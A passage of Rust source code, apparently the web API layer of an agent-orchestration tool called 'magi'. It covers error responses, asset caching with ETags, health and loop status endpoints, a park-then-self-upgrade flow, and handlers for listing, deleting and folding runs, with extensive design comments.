896    status: StatusCode,
897    message: String,
898    /// Every separate thing wrong with what the client sent, when there is
899    /// more than one and the client is expected to fix them all.
900    ///
901    /// Only `POST /api/chats/{id}/file` populates it, and it is skipped when
902    /// empty so every other error body stays exactly the shape the front end
903    /// already parses. The reason it exists at all is that the operator
904    /// rejecting a draft is on a phone: a task file with no acceptance
905    /// criteria and no title is one edit, and reporting it as two round trips
906    /// means asking an agent to rewrite the draft twice.
907    problems: Vec<String>,
908}
909
910impl ApiError {
911    /// The client asked for something malformed.
912    fn bad_request(message: impl Into<String>) -> Self {
913        Self {
914            status: StatusCode::BAD_REQUEST,
915            message: message.into(),
916            problems: Vec::new(),
917        }
918    }
919
920    /// The client asked for something malformed in several ways at once.
921    fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
922        Self {
923            problems,
924            ..Self::bad_request(message)
925        }
926    }
927
928    /// No such run or task.
929    fn not_found(message: impl Into<String>) -> Self {
930        Self {
931            status: StatusCode::NOT_FOUND,
932            message: message.into(),
933            problems: Vec::new(),
934        }
935    }
936
937    /// Someone else owns the thing the client wants to change.
938    /// Re-badge an error whose default mapping is wrong for this route.
939    fn with_status(mut self, status: StatusCode) -> Self {
940        self.status = status;
941        self
942    }
943
944    /// A rules violation from a domain type, reported as the caller's fault.
945    /// `Question::answer` rejects an unoffered choice, and that is a bad
946    /// request, not a server error.
947    fn bad_request_from(e: anyhow::Error) -> Self {
948        Self::bad_request(format!("{e:#}"))
949    }
950
951    fn conflict(message: impl Into<String>) -> Self {
952        Self {
953            status: StatusCode::CONFLICT,
954            message: message.into(),
955            problems: Vec::new(),
956        }
957    }
958
959    /// Our fault, or the disk's.
960    fn internal(message: impl Into<String>) -> Self {
961        Self {
962            status: StatusCode::INTERNAL_SERVER_ERROR,
963            message: message.into(),
964            problems: Vec::new(),
965        }
966    }
967}
968
969impl From<anyhow::Error> for ApiError {
970    /// Errors from `queue` and `run` carry their context chain, and the whole
971    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
972    /// value at line 3" is a message an operator can act on, and there is no
973    /// secret in a path on a single-user tailnet.
974    fn from(e: anyhow::Error) -> Self {
975        Self::internal(format!("{e:#}"))
976    }
977}
978
979impl IntoResponse for ApiError {
980    fn into_response(self) -> Response {
981        let mut body = serde_json::json!({ "error": self.message });
982        if !self.problems.is_empty() {
983            // `json!` above built an object, so this cannot be `None`.
984            if let Some(map) = body.as_object_mut() {
985                map.insert("problems".to_owned(), serde_json::json!(self.problems));
986            }
987        }
988        (self.status, Json(body)).into_response()
989    }
990}
991
992/// Run a handler's filesystem work off the executor.
993///
994/// Every route that touches the disk goes through here rather than each one
995/// arguing about whether its own read is small enough. Uniform because the
996/// expensive case is not rare: `run.json` for a finished competition holds
997/// every judgement, deliberation turn and review round, so listing a few
998/// hundred runs is megabytes of parsing, and the executor threads doing it are
999/// the same ones serving the change stream of every other connected phone.
1000async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1001where
1002    T: Send + 'static,
1003{
1004    match tokio::task::spawn_blocking(job).await {
1005        Ok(result) => result,
1006        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1007    }
1008}
1009
1010/// Cache policy for the three compiled-in front-end files.
1011///
1012/// The whole interface is `include_str!`ed into the binary, so its content
1013/// changes only when the binary does - and a phone that keeps a copy is
1014/// welcome to, right up until the deck is replaced. Without a single cache
1015/// header, browsers were free to invent their own policy, and one did:
1016/// yukimemi's phone went on showing "Candidates must be folded before
1017/// deleting. Run `magi fold` first." - a sentence deleted two releases
1018/// earlier - from a run detail served by a deck that no longer contained it.
1019/// The delete button he was told about was right there, and unreachable.
1020///
1021/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1022/// every time, the answer is a 304 costing one small round trip while the
1023/// deck is unchanged, and the moment it is replaced the tag differs and the
1024/// new interface arrives. Correctness over bytes - this is one file of a few
1025/// tens of kilobytes on a tailnet, and being a version behind is not a
1026/// cosmetic problem when the difference is whether a button exists.
1027const ASSET_CACHE: &str = "no-cache, must-revalidate";
1028
1029/// `ETag` for the compiled-in assets, distinct per build.
1030///
1031/// The version alone would leave a locally built deck - `cargo install
1032/// --path .` twice at the same version, which is the normal way to iterate -
1033/// serving a stale tag for changed bytes. The build timestamp is what makes
1034/// two builds of `0.3.0` differ.
1035fn asset_etag() -> &'static str {
1036    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1037        format!(
1038            "\"{}-{}\"",
1039            env!("CARGO_PKG_VERSION"),
1040            // Length is a cheap, deterministic stand-in for a hash: the
1041            // three files are compiled in together, so any edit to any of
1042            // them almost certainly changes the total, and a rebuild is what
1043            // this needs to track rather than every possible byte pattern.
1044            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1045        )
1046    });
1047    &TAG
1048}
1049
1050/// Headers for a compiled-in asset of `mime`.
1051fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1052    [
1053        (header::CONTENT_TYPE, mime),
1054        (header::CACHE_CONTROL, ASSET_CACHE),
1055        (header::ETAG, asset_etag()),
1056    ]
1057}
1058
1059/// Serve a compiled-in asset, answering `304` when the client already has it.
1060///
1061/// axum does not compare `If-None-Match` for us, and a header the server sets
1062/// but never honours is worse than none: the phone revalidates on every load
1063/// and is handed the whole file back each time. Doing the comparison is what
1064/// makes `must-revalidate` cost one small round trip rather than the
1065/// interface.
1066fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1067    let tag = asset_etag();
1068    let known = headers
1069        .get(header::IF_NONE_MATCH)
1070        .and_then(|v| v.to_str().ok())
1071        // A revalidating client may send several, and a proxy may weaken the
1072        // tag to `W/"..."`; matching on containment covers both without
1073        // parsing the grammar.
1074        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1075    if known {
1076        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1077    }
1078    (asset_headers(mime), body).into_response()
1079}
1080
1081async fn index(headers: header::HeaderMap) -> Response {
1082    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1083}
1084
1085async fn app_css(headers: header::HeaderMap) -> Response {
1086    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1087}
1088
1089async fn app_js(headers: header::HeaderMap) -> Response {
1090    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1091}
1092
1093/// What `/api/health` answers.
1094#[derive(Debug, Serialize)]
1095struct HealthView {
1096    version: &'static str,
1097    home: String,
1098    queue_rev: u64,
1099    runs_rev: u64,
1100    /// The same two revisions [`events`] streams for the question and chat
1101    /// stores.
1102    ///
1103    /// Here because this route is what the front end falls back to when the
1104    /// change stream is not up - it re-polls health on a timer and on wake, and
1105    /// takes the revisions from the answer. Without these two the fallback
1106    /// compares `undefined` against `undefined` for both stores, decides
1107    /// nothing moved, and a phone with a dead stream never learns that a
1108    /// question was asked or that an interview took a turn. `queue_rev` and
1109    /// `runs_rev` above have always been here for exactly this reason; the rule
1110    /// is that every revision the stream carries, this route carries too.
1111    questions_rev: u64,
1112    /// See [`HealthView::questions_rev`].
1113    chats_rev: u64,
1114    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1115    /// is not on disk anywhere, so a phone with no change stream has no other
1116    /// way to notice that the loop it is waiting on was started from another
1117    /// device.
1118    loop_rev: u64,
1119    /// Runs on disk whose state this build cannot parse - almost always a
1120    /// schema bump, occasionally a run killed mid-write.
1121    ///
1122    /// Reported because the list silently skips them, and "no competitions
1123    /// yet" is a lie when six of them are sitting in the runs directory. The
1124    /// terminal deck learned the same lesson: a run that fails to parse must
1125    /// not disappear from the count.
1126    runs_unreadable: usize,
1127    /// Questions nobody has answered yet.
1128    ///
1129    /// The one number here that means "nothing will happen until a human
1130    /// acts": a parked run consumes nothing and progresses never.
1131    questions_open: usize,
1132    /// Interviews the operator started in the browser and has not filed.
1133    ///
1134    /// Unlike `questions_open` nothing is blocked on these - a chat is the
1135    /// operator's own half-finished thought. It is here because an interview
1136    /// that never became a task is invisible everywhere else: it is not in the
1137    /// queue and it is not in the run history, so without a count the phone
1138    /// has no way to say "you left one open".
1139    chats_open: usize,
1140    daemon: DaemonView,
1141    /// The loop in this process, exactly what `/api/loop` answers with.
1142    ///
1143    /// Here so a phone that has just woken needs one request to know whether
1144    /// anything is going to happen at all: `daemon` says a loop is alive
1145    /// somewhere, and this says whether it is one this UI can stop.
1146    #[serde(rename = "loop")]
1147    looping: LoopView,
1148}
1149
1150/// The daemon's state as the UI presents it.
1151#[derive(Debug, Serialize)]
1152struct DaemonView {
1153    running: bool,
1154    idle: Option<bool>,
1155    pid: Option<u32>,
1156    current: Option<daemon::Current>,
1157    completed: Option<u64>,
1158    stale_for_secs: Option<i64>,
1159}
1160
1161impl DaemonView {
1162    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1163    /// not this UI's — a crashed daemon must not look alive here while
1164    /// `doctor` calls it dead.
1165    fn of(status: Option<daemon::Reading>) -> Self {
1166        let Some(status) = status else {
1167            return Self {
1168                running: false,
1169                idle: None,
1170                pid: None,
1171                current: None,
1172                completed: None,
1173                stale_for_secs: None,
1174            };
1175        };
1176        let now = Timestamp::now();
1177        let age = status.age_secs(now);
1178        Self {
1179            running: status.running(now),
1180            idle: Some(status.idle),
1181            pid: status.pid,
1182            current: status.current,
1183            completed: Some(status.completed),
1184            stale_for_secs: age,
1185        }
1186    }
1187}
1188
1189async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1190    blocking(move || {
1191        // One read of the status file for the two fields that describe it, so
1192        // `daemon` and `loop` in the same answer cannot disagree about who is
1193        // running the loop.
1194        let reading = daemon::read_status(&ui.home);
1195        // Read on its own line, not inside the literal below: the loop's lock
1196        // is not reentrant, and a guard taken as a temporary there would still
1197        // be held when `loop_view` took it again.
1198        let loop_rev = ui.lock_loop().rev;
1199        Ok(Json(HealthView {
1200            version: env!("CARGO_PKG_VERSION"),
1201            home: ui.home.display().to_string(),
1202            queue_rev: ui.queue.revision(),
1203            runs_rev: runs_revision(&ui.runs),
1204            questions_rev: ui.questions.revision(),
1205            chats_rev: ui.chats.revision(),
1206            loop_rev,
1207            runs_unreadable: runs_unreadable(&ui.runs),
1208            questions_open: ui.questions.count_open(),
1209            chats_open: ui.chats.count_open(),
1210            daemon: DaemonView::of(reading.clone()),
1211            looping: ui.loop_view(reading),
1212        }))
1213    })
1214    .await
1215}
1216
1217/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1218#[derive(Debug, Serialize)]
1219struct LoopView {
1220    /// A loop is running in *this* process.
1221    running: bool,
1222    /// It has been asked to stop and is still finishing a run.
1223    ///
1224    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1225    /// because the two differ exactly where it matters: a loop asked to stop
1226    /// while idle is gone within one poll interval, and one asked to stop
1227    /// mid-run keeps going for as long as the graph takes. The operator needs
1228    /// to be told which of those they are waiting for.
1229    stopping: bool,
1230    /// A park was asked for: the run in flight stops at its next node
1231    /// boundary rather than finishing.
1232    ///
1233    /// Separate from `stopping` because the two promise different waits. A
1234    /// stop is "when this competition ends", which can be an hour; a park is
1235    /// "after the step it is on", which is minutes and is what an operator
1236    /// waiting to replace the binary needs to see.
1237    parking: bool,
1238    /// The loop is this process's own.
1239    ///
1240    /// Spelled separately from `running` for the front end's sake, even
1241    /// though inside this process the two move together: `running: false`
1242    /// with `daemon.running: true` is the case where the operator's own `magi
1243    /// serve` owns the loop, and `owned` is the field that tells the UI its
1244    /// buttons have to explain that rather than pretend.
1245    owned: bool,
1246    /// Repository the loop uses for tasks that name none - what it was
1247    /// started with while it runs, and what a start would use before that.
1248    repo: String,
1249    /// Merge mode override in force, or `null` when each repository's own
1250    /// config decides.
1251    merge: Option<String>,
1252    /// Why the last loop in this process ended, when it ended badly.
1253    ///
1254    /// The only place a crashed loop is visible to someone holding a phone.
1255    /// It is logged at error level as well, but a terminal nobody kept open
1256    /// is not a report, and a loop that died at 3am must not read as merely
1257    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1258    /// answers the same question about the same kind of failure.
1259    last_error: Option<String>,
1260    /// The status file, judged the same way `/api/health` judges it: this is
1261    /// what says whether a loop is alive in some *other* process.
1262    daemon: DaemonView,
1263}
1264
1265/// A loop another process already owns.
1266///
1267/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1268/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1269/// published by a pid that is not ours. Excluding our own pid is what makes
1270/// stopping work at all - the loop this process runs writes that file too, so
1271/// a check that ignored the pid would decide the operator's own UI was a
1272/// stranger and refuse to stop the loop it had just started.
1273#[derive(Debug, Clone, Copy)]
1274struct Foreign {
1275    /// The pid the other process published, when it published one.
1276    pid: Option<u32>,
1277}
1278
1279impl Foreign {
1280    /// Another process's live loop, or `None` when this process is free to
1281    /// run one.
1282    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1283        let reading = reading?;
1284        if !reading.running(Timestamp::now()) {
1285            return None;
1286        }
1287        match reading.pid {
1288            Some(pid) if pid == std::process::id() => None,
1289            // A fresh heartbeat with no pid in it is still evidence of a live
1290            // daemon. "Some other process" is the honest answer, and refusing
1291            // to start beside it is the safe one.
1292            pid => Some(Self { pid }),
1293        }
1294    }
1295
1296    /// How a conflict names it. The pid is the whole point of the message: it
1297    /// is what the operator needs to find the terminal that owns the loop.
1298    fn who(&self) -> String {
1299        match self.pid {
1300            Some(pid) => format!("another magi process (pid {pid})"),
1301            None => "another magi process".to_owned(),
1302        }
1303    }
1304}
1305
1306/// How a loop is started, as a future this module can hold onto.
1307///
1308/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1309/// trait object or a hand-written `Debug` impl for the sake of one seam.
1310type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1311
1312/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1313fn launch_daemon(
1314    opts: daemon::Opts,
1315    stop: daemon::Stop,
1316) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1317    Box::pin(daemon::serve_until(opts, stop))
1318}
1319
1320/// The loop this process runs, behind one lock.
1321#[derive(Debug, Default)]
1322struct LoopState {
1323    /// The loop, while there is one.
1324    live: Option<Live>,
1325    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1326    ///
1327    /// The loop is in-process state rather than a file, so nothing on disk
1328    /// would tell a second phone that the first one started it. Without this
1329    /// counter the only way to learn about a start, a stop request or a crash
1330    /// would be to poll `/api/loop`, which is the thing the change stream
1331    /// exists to avoid on a mobile link.
1332    rev: u64,
1333    /// Why the last loop ended, when it ended badly. See
1334    /// [`LoopView::last_error`].
1335    last_error: Option<String>,
1336}
1337
1338/// A loop in flight.
1339#[derive(Debug)]
1340struct Live {
1341    /// The cooperative stop, shared with the loop task.
1342    stop: daemon::Stop,
1343    /// The task itself, kept only to answer whether it is still there: a loop
1344    /// that panicked never records its own end, and without this the view
1345    /// would go on reporting a loop that no longer exists - the one lie that
1346    /// would leave the operator with no button to press.
1347    handle: tokio::task::JoinHandle<()>,
1348    /// What the loop was started with, so the view reports the repository and
1349    /// merge mode its runs will actually use rather than what an edit to the
1350    /// config since would give.
1351    opts: daemon::Opts,
1352}
1353
1354impl Live {
1355    /// Is the task still there? See [`Live::handle`].
1356    fn alive(&self) -> bool {
1357        !self.handle.is_finished()
1358    }
1359}
1360
1361/// Take the loop lock, recovering from a poisoned one.
1362///
1363/// What this mutex holds is a stop flag, a task handle and two counters, none
1364/// of which a panic elsewhere can leave in a state worth refusing to read.
1365/// Propagating the poison instead would mean an operator who can see the loop
1366/// running and can no longer stop it from the only surface they have.
1367fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1368    state.lock().unwrap_or_else(PoisonError::into_inner)
1369}
1370
1371/// `GET /api/loop`.
1372async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1373    blocking(move || {
1374        let reading = daemon::read_status(&ui.home);
1375        Ok(Json(ui.loop_view(reading)))
1376    })
1377    .await
1378}
1379
1380/// The body of `POST /api/loop`.
1381///
1382/// One required field and nothing else: no `default` and no unknown fields,
1383/// so a body that fails to say which way the switch was flipped is a 400
1384/// rather than a tap that quietly does the opposite of what was pressed.
1385#[derive(Debug, Deserialize)]
1386#[serde(deny_unknown_fields)]
1387struct LoopCommand {
1388    running: bool,
1389    /// Stop the run in flight at its next node boundary rather than letting it
1390    /// finish.
1391    ///
1392    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1393    /// competition is tens of minutes of paid work and finishing it is
1394    /// normally the cheapest thing to do. A park is for the operator who
1395    /// wants the process gone now - to replace the binary, most of all - and
1396    /// it costs at most the node in progress because every node writes its
1397    /// state before the next one starts.
1398    #[serde(default)]
1399    park: bool,
1400}
1401
1402/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1403///
1404/// Answers with the view rather than waiting for the loop to reach the state
1405/// that was asked for. Starting is immediate anyway; stopping is not, and the
1406/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1407/// request open for. `stopping` in the answer is what the operator watches
1408/// instead.
1409async fn loop_post(
1410    State(ui): State<Arc<Ui>>,
1411    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1412) -> ApiResult<Json<LoopView>> {
1413    // Taken as a `Result` so a malformed body is a 400 like every other route
1414    // here, rather than axum's default 422 that the UI has no branch for.
1415    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1416    blocking(move || {
1417        let reading = daemon::read_status(&ui.home);
1418        let foreign = Foreign::of(reading.as_ref());
1419        if body.running {
1420            ui.start_loop(foreign)?;
1421        } else {
1422            ui.stop_loop(foreign, body.park)?;
1423        }
1424        Ok(Json(ui.loop_view(reading)))
1425    })
1426    .await
1427}
1428
1429/// What `POST /api/upgrade` set in motion.
1430#[derive(Debug, Serialize)]
1431struct UpgradeView {
1432    /// The version this process is running.
1433    from: String,
1434    /// The release it is replacing itself with, when there is one.
1435    to: Option<String>,
1436    /// A run was parked first, and this is its id.
1437    parked: Option<String>,
1438    /// What the operator should expect to happen next.
1439    detail: String,
1440}
1441
1442/// `POST /api/upgrade` - replace this binary with the newest release and come
1443/// back on it.
1444///
1445/// The one thing the deck could not do for itself. Every fix landed today
1446/// either waited for a competition to end or went in with the deck stopped,
1447/// because `cargo install` cannot overwrite a running executable on Windows.
1448/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1449/// the new one in its place, so the swap itself needs no downtime. Only the
1450/// restart does, and the order is the whole design:
1451///
1452/// 1. **Park.** A run in flight stops at its next node boundary and stays
1453///    resumable, so this costs at most the node in progress rather than the
1454///    competition. Without it the honest choices were waiting an hour or
1455///    discarding paid agent work.
1456/// 2. **Replace.** The new binary goes into place while this one still runs.
1457/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1458///    successor - see [`spawn_successor`] for what happens in the other
1459///    order.
1460/// 4. **Resume.** The next loop carries the parked run on rather than
1461///    competing again; see `daemon::attempt`.
1462///
1463/// Answers **202**: the reply has to reach the phone while this process can
1464/// still send one, and the phone learns the deck is back by reconnecting.
1465async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1466    let reading = daemon::read_status(&ui.home);
1467    if let Some(other) = Foreign::of(reading.as_ref()) {
1468        return Err(ApiError::conflict(format!(
1469            "the loop belongs to {}, so replacing this binary would leave \
1470             that process running an old one against the same queue. Upgrade \
1471             where it was started.",
1472            other.who()
1473        )));
1474    }
1475
1476    // Asked before anything is disturbed. Restarting when there is nothing
1477    // to install is not a harmless no-op: it parks the run in flight and
1478    // drops every connection to pay for an upgrade that did not happen. A
1479    // probe against a deck already on the newest build did exactly that.
1480    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1481    let latest = match crate::updater::Checker::new(&cfg.update) {
1482        Some(checker) => checker
1483            .newer_release()
1484            .await
1485            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1486        None => None,
1487    };
1488    let Some(latest) = latest else {
1489        return Ok((
1490            StatusCode::OK,
1491            Json(UpgradeView {
1492                from: env!("CARGO_PKG_VERSION").to_owned(),
1493                to: None,
1494                parked: None,
1495                detail: "Already on the newest release. Nothing was parked \
1496                         and nothing restarted."
1497                    .to_owned(),
1498            }),
1499        ));
1500    };
1501
1502    // Parked before anything is replaced: a successor that came up while a
1503    // run was mid-node would find a run nobody is driving.
1504    let parked = ui.park_for_upgrade()?;
1505    let detail = match &parked {
1506        // Honest about the wait. A park takes effect at the *next* node
1507        // boundary, so a run mid-implement finishes that wave first - up to
1508        // `timeout_implement`, an hour by default. Saying "restarting now"
1509        // would make the deck look wedged for the rest of it.
1510        Some(run) => format!(
1511            "Run {} is parking at its next step, which can take as long as \
1512             the step it is on - up to an hour for an implement wave. The \
1513             deck replaces itself once it parks, comes back, and the loop \
1514             carries that run on from where it stopped. Nothing is lost if \
1515             you close this.",
1516            crate::run::short_of(run)
1517        ),
1518        None => "The deck replaces itself and comes back. Nothing was in \
1519                 flight to park."
1520            .to_owned(),
1521    };
1522
1523    tokio::spawn(async move {
1524        if let Err(e) = upgrade_and_restart().await {
1525            tracing::error!("the upgrade did not complete: {e:#}");
1526        }
1527    });
1528
1529    Ok((
1530        StatusCode::ACCEPTED,
1531        Json(UpgradeView {
1532            from: env!("CARGO_PKG_VERSION").to_owned(),
1533            to: Some(latest.tag_name.clone()),
1534            parked,
1535            detail,
1536        }),
1537    ))
1538}
1539
1540/// Replace the binary, then ask [`serve`] to hand the address over.
1541///
1542/// Separated from the handler so the 202 is already on its way, and separated
1543/// from the spawn so the successor starts only after the listener is dropped.
1544async fn upgrade_and_restart() -> Result<()> {
1545    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
1546    // hang the upgrade for as long as the process lives.
1547    crate::updater::run_self_update(true, false, true).await?;
1548    tracing::info!("binary replaced - asking the server to hand over");
1549    HANDOVER.notify_one();
1550    Ok(())
1551}
1552
1553/// One row in the run list.
1554///
1555/// The list route returns this rather than whole `RunState`s: the summary of a
1556/// run is a few hundred bytes and the state is megabytes, and the difference
1557/// is what makes the history usable on a mobile link.
1558#[derive(Debug, Serialize)]
1559struct RunSummary {
1560    id: String,
1561    short: String,
1562    status: String,
1563    done: bool,
1564    instruction: String,
1565    title: String,
1566    repo: String,
1567    repo_name: String,
1568    created_at: String,
1569    updated_at: String,
1570    candidates: usize,
1571    viable: usize,
1572    judges: usize,
1573    winner: Option<char>,
1574    reviews: usize,
1575    quota_losses: usize,
1576    event: Option<String>,
1577    /// The later attempt at the same task that replaced this one, if any.
1578    ///
1579    /// Two cards with one title is otherwise unreadable: this is what lets
1580    /// the deck say "superseded by 4043" on the older of the pair.
1581    superseded_by: Option<String>,
1582    /// Blocked on a question nobody has answered.
1583    ///
1584    /// Derived from the question store rather than stored on the run: an agent
1585    /// calling `magi ask` blocks mid-node, and writing a status from there
1586    /// would race the graph's own save of `run.json` and be overwritten at the
1587    /// next node boundary. Asking the store is always true and never races.
1588    waiting: bool,
1589    /// The land loop's last look at the pull request, when there is one.
1590    pr: Option<crate::run::PrRecord>,
1591}
1592
1593impl RunSummary {
1594    fn of(state: &RunState, waiting: bool) -> Self {
1595        Self {
1596            id: state.id.clone(),
1597            short: state.short().to_owned(),
1598            status: status_word(state.status),
1599            done: state.status.done(),
1600            instruction: state.instruction.clone(),
1601            title: title_from(&state.instruction, TITLE_MAX),
1602            repo: state.repo.display().to_string(),
1603            repo_name: state
1604                .repo
1605                .file_name()
1606                .map(|n| n.to_string_lossy().into_owned())
1607                .unwrap_or_default(),
1608            created_at: state.created_at.to_string(),
1609            updated_at: state.updated_at.to_string(),
1610            candidates: state.candidates.len(),
1611            viable: state.viable().len(),
1612            judges: state.config.graph.judges,
1613            winner: state.winner().map(|c| c.label),
1614            reviews: state.reviews.len(),
1615            quota_losses: state.quota.len(),
1616            event: state.events.last().map(|e| e.message.clone()),
1617            waiting,
1618            // Filled in by the list route, which is the only place that can
1619            // see a task's other attempts.
1620            superseded_by: None,
1621            pr: state.pr.clone(),
1622        }
1623    }
1624}
1625
1626/// `RunStatus` as the wire spells it. Every variant is one word, so this is
1627/// the same string `serde` writes for the status inside a full run.
1628fn status_word(status: RunStatus) -> String {
1629    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
1630    // was a third way of naming the same statuses, and one that changed
1631    // silently with a derive.
1632    status.as_str().to_owned()
1633}
1634
1635/// `?limit=`, clamped by the handler.
1636#[derive(Debug, Deserialize)]
1637struct ListQuery {
1638    #[serde(default)]
1639    limit: Option<usize>,
1640}
1641
1642async fn runs_list(
1643    State(ui): State<Arc<Ui>>,
1644    Query(q): Query<ListQuery>,
1645) -> ApiResult<Json<Vec<RunSummary>>> {
1646    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1647    blocking(move || {
1648        let superseded = superseded_runs(&ui.queue);
1649        let summaries = run_ids(&ui.runs)
1650            .into_iter()
1651            // A run whose state cannot be read is skipped, not fatal: a run
1652            // killed mid-write must not blank the history of every other one.
1653            // The detail route still explains it, which is where an operator
1654            // asking "what happened to that run" ends up.
1655            .filter_map(|id| read_run(&ui.runs, &id).ok())
1656            .take(limit)
1657            .map(|state| {
1658                let waiting = !ui.questions.open_for(&state.id).is_empty();
1659                let by = superseded.get(&state.id).cloned();
1660                let mut row = RunSummary::of(&state, waiting);
1661                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1662                row
1663            })
1664            .collect();
1665        Ok(Json(summaries))
1666    })
1667    .await
1668}
1669
1670/// Runs that a later attempt at the same task replaced, mapped to the id of
1671/// the attempt that replaced them.
1672///
1673/// A task keeps its attempts in order, and the deck showed them as two cards
1674/// with the same title and no hint which was which: yukimemi asked why
1675/// `stalled` and `blocked` appeared twice for one task, and the answer -
1676/// "those are two tries, and the second one exists because of a bug since
1677/// fixed" - was not on the screen anywhere.
1678///
1679/// Read from the queue rather than stored on the run, because the ordering is
1680/// the queue's fact: a `RunState` has no idea another attempt happened after
1681/// it.
1682fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1683    let mut by = HashMap::new();
1684    for task in queue.list() {
1685        for pair in task.runs.windows(2) {
1686            if let [earlier, later] = pair {
1687                by.insert(earlier.clone(), later.clone());
1688            }
1689        }
1690    }
1691    by
1692}
1693
1694/// A run as the detail route hands it to the phone.
1695///
1696/// The whole state, flattened, plus `instruction_md`: the Task panel renders
1697/// the instruction as markdown, and the raw `instruction` field this struct
1698/// still carries (unchanged) is what a client wanting the exact bytes reads
1699/// instead.
1700#[derive(Debug, Serialize)]
1701struct RunDetailView {
1702    #[serde(flatten)]
1703    state: RunState,
1704    instruction_md: Vec<md::Node>,
1705}
1706
1707impl From<RunState> for RunDetailView {
1708    fn from(state: RunState) -> Self {
1709        Self {
1710            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1711            state,
1712        }
1713    }
1714}
1715
1716async fn run_detail(
1717    State(ui): State<Arc<Ui>>,
1718    Path(id): Path<String>,
1719) -> ApiResult<Json<RunDetailView>> {
1720    blocking(move || {
1721        let id = resolve_run(&ui.runs, &id)?;
1722        Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1723    })
1724    .await
1725}
1726
1727/// `DELETE /api/runs/{id}`.
1728///
1729/// Remove a finished, folded run directory along with its artifacts.
1730/// Running runs and runs with unfolded candidate worktrees/branches cannot be
1731/// deleted. This never touches git worktrees or branches.
1732async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1733    blocking(move || {
1734        let id = resolve_run(&ui.runs, &id)?;
1735        let state = read_run(&ui.runs, &id)?;
1736        let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1737        state
1738            .ensure_can_delete(in_flight)
1739            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1740        let dir = ui.runs.join(&id);
1741        std::fs::remove_dir_all(&dir)
1742            .with_context(|| format!("remove run directory {}", dir.display()))?;
1743        // The agent that asked died with the run, so an open question would
1744        // keep asking the operator for a decision nobody can deliver.
1745        ui.questions.abandon_for_run(
1746            &id,
1747            &format!("run {id} was deleted, so nothing is waiting for this answer"),
1748        )?;
1749        Ok(StatusCode::NO_CONTENT)
1750    })
1751    .await
1752}
1753
1754/// `POST /api/runs/{id}/fold`.
1755///
1756/// Remove a run's candidate worktrees and branches, keeping its record.
1757///
1758/// This exists because the deck answered "delete this run" with *"Candidates
1759/// must be folded before deleting. Run `magi fold` first."* — a phone being
1760/// told to open a terminal, in the one product whose point is that it does
1761/// not need one. The runs an operator most wants gone are the stalled and
1762/// blocked ones, and those are exactly the runs still holding worktrees:
1763/// three of them here held 53 GB.
1764///
1765/// The winner's tree goes too. A fold is what someone asks for when they are
1766/// finished with a run, and leaving one tree behind would leave the delete
1767/// button disabled for the same reason as before.
1768///
1769/// Refused while a live daemon is working on the run, on the rule that guards
1770/// deletion: folding underneath a running agent would pull the tree it is
1771/// editing out from under it.
1772async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1773    let (id, mut state) = {
1774        let ui = Arc::clone(&ui);
1775        blocking(move || {
1776            let id = resolve_run(&ui.runs, &id)?;
1777            let state = read_run(&ui.runs, &id)?;
1778            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1779                return Err(ApiError::conflict(format!(
1780                    "run {} is being worked on by a live daemon right now",
1781                    state.short()
1782                )));
1783            }
1784            Ok((id, state))
1785        })
1786        .await?
1787    };
